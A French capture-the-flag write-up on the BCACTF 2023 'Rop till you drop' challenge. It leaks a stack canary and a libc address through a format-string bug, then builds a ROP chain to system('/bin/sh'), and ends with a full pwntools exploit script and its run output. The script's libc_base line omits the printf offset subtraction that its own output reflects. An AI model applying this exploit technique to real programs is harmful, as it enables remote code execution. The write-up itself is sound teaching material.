bcactf2023 - Rop till you drop
Rop till you drop
Introduction
Ce challenge propose par BCACTF 2023 illustre l’utilisation d’une faille printf pour obtenir des fuites d’informations utiles à l’exploitation d’un programme commpilé en PIE et protégé par un canari.
(Article à étoffer)
Description
DANCE! DANCE! DAOCE! DROCE! ROCE! ROPE! ROP! ROP! ROP!
Rop till you drop.
Resources:
Netcat Links: nc challs.bcactf.com 30344
Static resources:
- roptiludrop
- libc-2.31.so
Les ressources : roptiludrop.zip
Pour la libc la récupérer ainsi :
http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.31-0ubuntu9.11_amd64.deb
ar xv libc6_2.31-0ubuntu9.11_amd64.deb data.tar.x
tar xJf data.tar.xz ./lib/x86_64-linux-gnu/libc-2.31.so
Découverte
Execution
$ ./roptiludrop
DO NOT STOP ROPPING
> AAAA
AAAAWhat is this? 0x7ff3f5354cf0
DO NOT STOP ROPPING
> BBBBB
BBBBB
Party!
Si on abuse un peu.
$ ./roptiludrop
DO NOT STOP ROPPING
> XXXXX
XXXXXWhat is this? 0x7fbef2d27cf0
DO NOT STOP ROPPING
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��bV
*** stack smashing detected ***: terminated
Abandon
Le programme nous poses un première question puis la revoie en echo.
Protection
gef➤ checksec
[+] checksec for '/home/jce/w/bactf2023/pwn/4-rop/roptiludrop'
[*] .gef-2b72f5d0d9f0f218a91cd1ca5148e45923b950d5.py:L8764 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary : ✓
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Full
The code
undefined8 main(void)
{
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
life();
puts("Party!");
return 0;
}
void life(void)
{
long in_FS_OFFSET;
char input [24];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
printf("DO NOT STOP ROPPING\n> ");
gets(input);
printf(input);
printf("What is this? %p\n",printf);
printf("\nDO NOT STOP ROPPING\n> ");
fread(input,1,0x50,stdin);
puts(input);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
Analyse
On voit d’abord que la fonction est protégée avec un canary.
Le premier printf nous permet d’obtenir des fuites memoire via un message contenant de “%p”, En particulier le canary, mais aussi une la sauvegarde de rbp et celle de rip.
L’adresse de printf
est affichée, donc une reference dans la libc.
Ensuite un second message est demandé avec une instruction fread(input, 80,0) le buffer input ayant une taille de 25 octets, le canary est systématiquement écrasé car on est obligé d’envoyer 80 octets.
On va donc d’abord obtenir une fuite de la valeur du canary puis envoyer un second message débordant mais avec la bonne valeur du canary de faàon a sortir de la fonction par le ret et engager une chaine de ROP.
Le message sera donc du type “24 octets de pad” | canary | SRBP | ROPCHAINE
Recherche du canary
Pour localiser l’index du canary syr la pile au momen du printf, on paut tatonner
On eenvoie : AAAAAAAA %p %p %p %p %p %p
Réponse :
AAAAAAAA 0x1 0x1 0x7f01de328a80 (nil) (nil) 0x41414141414141410x000055c883a23275
On voit que 0x4141414141414141 est présent sur la 6eme entrée de la pile. o Si on observe la pile avec un simple message “AAAAAAAA”
gef➤ x/12x $rsp
0x7ffc434bc200: 0x4141414141414141 0x00007ffc434bc300
Message
0x7ffc434bc210: 0x00007ffc434bc230 0xf9b69d5f3c136900
canary
0x7ffc434bc220: 0x00007ffc434bc230 0x000055c697412332
SRBP SRIP
0x7ffc434bc230: 0x0000000000000001 0x00007fdfb8f8e18a
0x7ffc434bc240: 0x00007ffc434bc330 0x000055c6974122e4
0x7ffc434bc250: 0x0000000197411040 0x00007ffc434bc348
Le canary est 3 entrées plus loin on à l’index 9. On reconnait la canary à sa forme aléatoire sauf le “premier” octet qui est à zero.
On peut le vérifier :
> %9$p %10$p
0xc58bfa43f2b09300 0x7fffffffe3a0What is this? 0x7ffff7e32cf
gef➤ x/8x $rsp
0x7fffffffe370: 0x3031252070243925 0x0000000000007024
0x7fffffffe380: 0x00007fffffffe3a0 0xc58bfa43f2b09300
0x7fffffffe390: 0x00007fffffffe3a0 0x0000555555555332
0x7fffffffe3a0: 0x0000555555555350 0x00007ffff7e02d0
On peut donc obtenir le canary avec %9$p et dans la foulée SRBP, et SRIP avec %10 et %11.
On paut choisr d'utiliser SRIP pour localiser une zone du programme comme un gadget ou une fonction.
Recherche de gadgets
On dispose de fonctions gentillement mise à dispo dans le programme.
gef➤ i fun
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001080 printf@plt
0x0000000000001090 __cxa_finalize@plt
0x00000000000010a0 puts@plt
0x00000000000010b0 fread@plt
0x00000000000010c0 __stack_chk_fail@plt
0x00000000000010d0 setbuf@plt
0x00000000000010e0 gets@plt
0x00000000000010f0 _start
0x0000000000001120 deregister_tm_clones
0x0000000000001150 register_tm_clones
0x0000000000001190 __do_global_dtors_aux
0x00000000000011d0 frame_dummy
0x00000000000011d9 DANCE
0x00000000000011e6 DAOCE
0x00000000000011f3 DROCE
0x0000000000001200 ROCE
0x000000000000120d ROPE
0x000000000000121a ROP
0x0000000000001227 life
0x00000000000012e4 main
0x0000000000001350 __libc_csu_init
0x00000000000013c0 __libc_csu_fini
0x00000000000013c8 _fini
gef➤ disas ROP
Dump of assembler code for function ROP:
0x000000000000121a <+0>: endbr64
0x000000000000121e <+4>: push rbp
0x000000000000121f <+5>: mov rbp,rsp
0x0000000000001222 <+8>: push rdi
0x0000000000001223 <+9>: pop rdi
0x0000000000001224 <+10>: nop
0x0000000000001225 <+11>: pop rbp
0x0000000000001226 <+12>: ret
End of assembler dump.
Dump of assembler code for function ROPE:
0x000000000000120d <+0>: endbr64
0x0000000000001211 <+4>: push rbp
0x0000000000001212 <+5>: mov rbp,rsp
0x0000000000001215 <+8>: push rsi
0x0000000000001216 <+9>: pop rsi
0x0000000000001217 <+10>: nop
0x0000000000001218 <+11>: pop rbp
0x0000000000001219 <+12>: ret
End of assembler dump
On a dans le programme un ensemble de gadgets comme :
- pop rdi; ret;
- pop rsi; ret;
On pourrait donc les localiser avec la fuite de SRIP.
Cependant on trouvera aussi facilement un pop rdi dans la libc.
One gadget
Pour simplifier la démarche d’appel à la fonction système on peut rechercher dans la libc un gadget “magique”.
On sait que la fonction systeme execute un appel à execve avec “/bin/sh”. La démarche “one gadget” consiste à identifier une adresse à laquelle on peut sauter pour bénéficier du code existant.
L’outil one_gadget
fait ça.
gem install one_gadget
root@zbook310152:/w/bactf2023/pwn/4-rop# one_gadget libc-2.31.so
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Observons à quoi correspond une de ces adresses dans la libc.
[0x000e6c81]> pd 5
│ ╎ 0x000e6c81 4c89fe mov rsi, r15
│ ╎ 0x000e6c84 488d3d1f090d. lea rdi, str._bin_sh ; 0x1b75aa ; "/bin/sh"
│ ╎ ; DATA XREF from fcn.001083b0 @ 0x108633
│ ╎ 0x000e6c8b e860f6ffff call sym.execve
│ ╎ 0x000e6c90 4c89f4 mov rsp, r14
│ └─< 0x000e6c93 e9cdfdffff jmp 0xe6a65
On voit que comme indiqué on a un appel execve("/bin/sh", r15, rdx).
Il faut donc que r15 et rdx soient null pour éviter un crash.
Determiner libc_base
jce@zbook310152:~/w/bactf2023/pwn/4-rop$ readelf -s libc-2.31.so |grep printf
24: 0000000000065130 183 FUNC GLOBAL DEFAULT 16 dprintf@@GLIBC_2.2.5
160: 0000000000064fa0 197 FUNC GLOBAL DEFAULT 16 sprintf@@GLIBC_2.2.5
240: 0000000000089720 27 FUNC GLOBAL DEFAULT 16 vwprintf@@GLIBC_2.2.5
555: 00000000000882b0 183 FUNC WEAK DEFAULT 16 vsprintf@@GLIBC_2.2.5
637: 0000000000064e10 204 FUNC GLOBAL DEFAULT 16 printf@@GLIBC_2.2.5
907: 0000000000089660 179 FUNC GLOBAL DEFAULT 16 swprintf@@GLIBC_2.2.5
1245: 000000000005ea30 27 FUNC GLOBAL DEFAULT 16 vprintf@@GLIBC_2.2.5
1320: 0000000000065070 183 FUNC WEAK DEFAULT 16 asprintf@@GLIBC_2.2.5
1841: 0000000000064d50 183 FUNC GLOBAL DEFAULT 16 fprintf@@GLIBC_2.2.5
2075: 000000000008efc0 11 FUNC WEAK DEFAULT 16 vdprintf@@GLIBC_2.2.5
2204: 0000000000089740 204 FUNC GLOBAL DEFAULT 16 wprintf@@GLIBC_2.2.5
2265: 00000000000895a0 183 FUNC WEAK DEFAULT 16 fwprintf@@GLIBC_2.2.5
2292: 000000000005ea20 11 FUNC GLOBAL DEFAULT 16 vfprintf@@GLIBC_2.2.5
2318: 0000000000064ee0 179 FUNC WEAK DEFAULT 16 snprintf@@GLIBC_2.2.5
En otant 0x064e10 à l’adresse de leak fournie par le programme, on aurra la base de la libc.
## Chaines de ROP
Avec one_gadet
On peut poster une chaine de ROP limitée à l’adresse d’un one_gadget. En posant un point d’arrêt à la fin de la fonction life, on peut constater que les conditions sont réunies.
On calcule la base de la libc à partir de la fuite d’adresse de printf. On Ajoute 0xe6c81
Classique
On localise une chaine “/bin/sh” dans la libc.
# rabin2 -z libc-2.31.so|grep "bin/sh"
686 0x001b75aa 0x001b75aa 7 8 .rodata ascii /bin/sh
Par exemple en 0x1b75aa sitée dans .rodata
On localise ensuite la fonction system.
rabin2 -s libc-2.31.so|grep system
236 0x00156a80 0x00156a80 GLOBAL FUNC 103 svcerr_systemerr
617 0x00055410 0x00055410 GLOBAL FUNC 45 __libc_system
1427 0x00055410 0x00055410 WEAK FUNC 45 system
Dans les deux cas on ajoute bien entendu les offsets à l’adresse de base de la libc.
Ensuite la chaine est de type :
- pop rdi
- @bin_sh
- @system
Script python
Le script suivant réalise un chaine de rop avec pop rdi; “/bin/sh”; system
#!/usr/bin/python3
from pwn import *
elf = ELF('roptiludrop')
context.binary=elf
# Script de demarage gdb
gs='''
b *life+180
c
'''
libc_path = './libc-2.31.so'
env = {"LD_PRELOAD": libc_path}
REMOTE=DEBUG=False
if len(sys.argv)>1 :
REMOTE = sys.argv[1] == "-r"
DEBUG = sys.argv[1] == "-d"
if REMOTE:
io = remote("challs.bcactf.com", 30344)
else:
io = process(elf.path, env=env)
if DEBUG:
gdb.attach(io,gs)
time.sleep(1)
io.sendlineafter(b"> ",b"%9$p %10$p %11$p")
line=io.recvline().rstrip()
print(line)
# '0x442c800ec228e200 0x7fffd9dd94b0 0x556dfeca9332What is this? 0x7f43d1efdcf0'
l = line.split(b" ")
canary=int(l[0], 16)
srbp=int(l[1], 16)
srip=int(l[2][:-4], 16)
libc_printf=int(l[5], 16)
libc_base=libc_printf
binsh=libc_base+0x1b75aa
system=libc_base+0x55410
poprdi = libc_base+0x026b72
print(f"{canary=:x}")
print(f"{libc_printf=:x}")
print(f"{libc_base=:x}")
PL=b"A"*0x18
PL+=p64(canary)
PL+=p64(srbp)
PL+=p64(poprdi)
PL+=p64(binsh)
PL+=p64(poprdi+1) # ret; pour alignement de la pile
PL+=p64(system)
PL+=b"X"*(0x50-1-len(PL))
io.sendlineafter(b"> ", PL)
io.sendline(b"cat flag.txt")
log.info(io.recv().decode())
log.info(io.recv().decode())
Lancement
$ python3 solve.py
[*] '/home/jce/w/bcactf2023/pwn/4-rop/roptiludrop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/jce/w/bcactf2023/pwn/4-rop/roptiludrop': pid 10939
b'0x41edc2abbdbcb600 0x7ffc330b6110 0x5576be632332What is this? 0x7fe787c9ce10'
canary=41edc2abbdbcb600
libc_printf=7fe787c9ce10
libc_base=7fe787c38000
[*] AAAAAAAAAAAAAAAAAAAAAAAA
[*] bcactf2023{MY_SWEET_FLAG}
[*] Stopped process '/home/jce/w/bcactf2023/pwn/4-rop/roptiludrop' (pid 10939)